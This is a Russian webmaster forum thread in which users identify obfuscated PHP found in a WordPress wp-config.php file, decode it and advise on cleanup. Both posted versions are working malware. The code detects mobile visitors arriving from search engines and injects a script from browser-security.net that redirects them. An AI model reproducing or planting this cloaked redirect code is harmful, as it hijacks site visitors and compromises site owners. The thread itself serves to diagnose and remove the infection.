Странный код

Сообщений: 336 Регистрация: Июл 2010

17 Января 2013 15:07

Всем привет. Нашел на одном из сайтов странный код.
Никто не в курсе что это? Нужно нет? Может зверек какой?

if(@preg_match(strtr('/(mpdh|jame|jovo|mybp|mpnp|woh|simb|wpndyws.ce|h2yne|phod|drypd)/p', 'oyiph2a', 'aoyiph2'), $_SERVER['HTTP_USER_AGENT']) && @preg_match(strtr('/(gyygle|iondex|mopl|vk.cym)/p', 'oyiph2a', 'aoyiph2'), $_SERVER['HTTP_REFERER']) && @$_COOKIE['statCounter'] !=1){echo(strtr('<scrpht>vor exhTpme = new Dote();exhTpme.setTpme(exhTpme.getTpme() + 86400000);dycument.cyykpe = "stotCyunter=1; exhpres=" + exhTpme.tyGMTStrpng();</scrpht><scrpht tihe="text/jovoscrpht" src="2tth://brywser-securpti.net/r.h2h?l=2tth%3A%aF%aFbrywser-securpti.net%aF?o=uao4va744315xaw4uaw4a3ma54laua66xa13b4a3e4va940354"></scrpht>', 'oyiph2a', 'aoyiph2'));}

Заказ статей http://goo.gl/B8qO0y

kg design

Сообщений: 97 Регистрация: Ноя 2012

18 Января 2013 07:54

Думаю, точно зверек. Иначе зачем кодировать код. Вот тот же код, но не кодированный:

Код

if(@preg_match('midp|j2me|java|mobi|mini|wap|symb|windows.ce|phone|ipad|droid'), $_SERVER['HTTP_USER_AGENT']) && @preg_match('google|yandex|mail|vk.com'),
$_SERVER['HTTP_REFERER']) && @$_COOKIE['statCounter'] !=1){
   echo '<script>
         var expTime = new Date();
         expTime.setTime(expTime.getTime() 86400000);
         document.cookie = "statCounter=1;
         expires=" expTime.toGMTString();
      </scrpht>
      <script type="text/javascript" src="http://browser-security.net/r.php?l=http://browser-security.net/?a=u2a4v2744315x2w4u2w423m254l2u266x213b423e4v2940354">';
}

http://only-good.com

newdrivers

Сообщений: 336 Регистрация: Июл 2010

18 Января 2013 11:05

на всякий случай удалил...из конфига....

Kimin

Сообщений: 1137 Регистрация: Авг 2010

18 Января 2013 12:12

Судя по верхней строке, бяка для мобильных устройств какая-то...

3D-проекты домов, Россия

newdrivers

Сообщений: 336 Регистрация: Июл 2010

18 Января 2013 12:42

В чьем коде? моем или kg design?

kg design

Сообщений: 97 Регистрация: Ноя 2012

18 Января 2013 12:53

Цитата
newdrivers пишет: В чьем коде? моем или kg design?

Код тут один - ваш. Я просто его представил в читаемом виде. Это один и тот же код.

kg design

Сообщений: 97 Регистрация: Ноя 2012

18 Января 2013 12:55

Если данный код был в файле wp-config.php - то это, на 99% вирус.

video-freelancer

Сообщений: 2804 Регистрация: Авг 2012

18 Января 2013 20:46

Он переадресовывает на рекламную страничку.

Минтранс дал добро на продажу авиабилетов по низкой цене в 2025 году Купить авиабилеты онлайн дешево

newdrivers

Сообщений: 336 Регистрация: Июл 2010

18 Января 2013 22:02

Цитата
kg design пишет: Код тут один - ваш. Я просто его представил в читаемом виде. Это один и тот же код.

Ааа...все я понял Вас. Спасибо

newdrivers

Сообщений: 336 Регистрация: Июл 2010

#10

18 Января 2013 22:03

Цитата
kg design пишет: Если данный код был в файле wp-config.php - то это, на 99% вирус.

Да, там и был..и Яша ругался на мобильный редирект.

newdrivers

Сообщений: 336 Регистрация: Июл 2010

#11

18 Января 2013 22:04

Цитата
video-freelancer пишет: Он переадресовывает на рекламную страничку.

Вроде бы, все что мог по закрывал, переделал, обновил, поменял..а он бац...и все равно там...видать раньше был

kg design

Сообщений: 97 Регистрация: Ноя 2012

#12

19 Января 2013 01:46

Попробуйте осуществить данные меры:
01. Проверьте файлы сайта антивирусом. Обновите Wordpress (только не забудьте про бекап сайта и базы перед этим) - при обновлении перезапишутся файлы (но не все, к примеру, просмотрите wp-content на предмет подозрительного). Таким образом почистим сайт, если вдруг там где-то сидит "генератор" данного кода.
02. Смените пароли от ftp, базы данных, админки сайта и админки хостинга. Таким образом пресечете возможность повторного появления вируса, если он получил доступ к сайту путем кражи пароля.
03. Присмотритесь к плагинам. Иногда попадаются "дырявые".
Должно помочь.

newdrivers

Сообщений: 336 Регистрация: Июл 2010

#13

19 Января 2013 12:22

Цитата

kg design пишет:
Попробуйте осуществить данные меры:
01. Проверьте файлы сайта антивирусом. Обновите Wordpress (только не забудьте про бекап сайта и базы перед этим) - при обновлении перезапишутся файлы (но не все, к примеру, просмотритеwp-content на предмет подозрительного). Таким образом почистим сайт, если вдруг там где-то сидит "генератор" данного кода.
02. Смените пароли от ftp, базы данных, админки сайта и админки хостинга. Таким образом пресечете возможность повторного появления вируса, если он получил доступ к сайту путем кражи пароля.
03. Присмотритесь к плагинам. Иногда попадаются "дырявые".
Должно помочь.

Спасибо. Сегодня займусь

Похожие темы:

01.05.2025 18:53	Настройка плагина для wordpress Price Shop
11.04.2025 17:42	Создание сайтов стало проще: WordPress представляет AI-инструмент
21.03.2025 19:38	Владельцы сайтов на WordPress под угрозой: как вредонос DollyWay крадёт ваш трафик
12.03.2025 18:50	Как сделать ссылку видимой на вордпресс тема Jarida ?
14.02.2025 16:44	Рассыпались ссылки из панели управления.

Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)

Новые темы	Объявления	Свободное общение
03:17 Стоит ли добавлять сайт в Rambler топ 100? 14:14 LOSPOLLOS.COM - Конвертим по рецепту Хайзенберга. Dating, Mainstream, Binary Options 19:33 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика! 09:02 Как продвигать сайт с неуникальным контентом 08:57 Absence в Армении 14:50 Индексация страниц 12:36 У кого новостник, дайте пару советов плиз	18:59 BestX24 - быстрый и безопасный обменник криптовалют и электронных денежных средств 12:20 ABCproxy—Премиум жилой прокси, 190+ локаторов, Неограниченная пропускная способность, $0.77/GB, Trial Scraper api 11:24 Продам копию сайта. 09:48 BIGPROXY.SHOP - Резидентные Ротационные Backconnect Proxy USA EUROPA MIX [Безлимитный трафик] 04:08 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 21:42 Продам обменник криптовалюты, а также новый обменник под ключ с обучением. Скидки на скрипты обменника 15:52 AllCharge.online. Современный, быстрый и надёжный обменник	21:30 Ну что, кто куда деваете свои сайты? 21:05 Точные прогнозы на футбол 22:09 Добро пожаловать в цифровой мир... 19:42 Топ-5 способов использовать мобильные прокси для бизнеса: подробный обзор 22:08 Накрутка поисковых подсказок 14:01 Union Pharm - топовая фарма-партнерка для профессионалов! 10:59 Ням-ням! - 8 деликатесов, которые когда-то ели только бедные люди